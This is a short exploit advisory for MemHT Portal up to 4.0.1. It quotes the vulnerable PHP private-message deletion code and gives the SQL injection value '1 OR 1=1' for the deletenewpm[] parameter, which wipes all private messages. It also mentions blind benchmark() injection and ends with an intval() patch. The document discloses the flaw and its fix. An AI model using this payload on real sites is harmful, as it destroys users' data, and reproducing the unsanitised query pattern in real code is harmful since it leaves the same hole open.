# MemHT Portal <= 4.0.1 (pvtmsg) Delete All Private Messages Exploit
# by yeat - staker[at]hotmail[dot]it

<<Details;
   
   Note:

   1- works regardless of php.ini settings. 
   2- blind sql injection benchmark() method is possible.
   3- don't add me on msn messenger.
   4- Thanks to evilsocket && Sir Dark.
   5- MemHT is a good content management system but it has some security problem.
   6- http://milw0rm.com/exploits/7859 
      security patch: http://www.memht.com/forum_thread_17756_FixPatch-4-0-1.html

   <?php

      
      }

      break;
      
      case "deleteSelected":

        if (isset($_POST['deletenewpm'])) {
        foreach ($_POST['deletenewpm'] as $value) {
          $dblink->query("DELETE FROM memht_pvtmsg WHERE id=$value");
          }
       }
       if (isset($_POST['deletepm'])) {
         foreach ($_POST['deletepm'] as $value) {
          $dblink->query("DELETE FROM memht_pvtmsg WHERE id=$value");
         }
       }

    ?>
    
  
  ok then foreach ($_POST['deletenewpm'] as $value)
  
  deletenewpm[]= $value ;) so if we send a evil code like this:
  1 OR 1=1 we'll delete all messages from mysql database
  
  Possible Fix:
  
  Line: 859 && 864

  Edit $dblink->query("DELETE FROM memht_pvtmsg WHERE id=$value"); 
  Fix: $dblink->query("DELETE FROM memht_pvtmsg WHERE id=".intval($value));



  regards :)
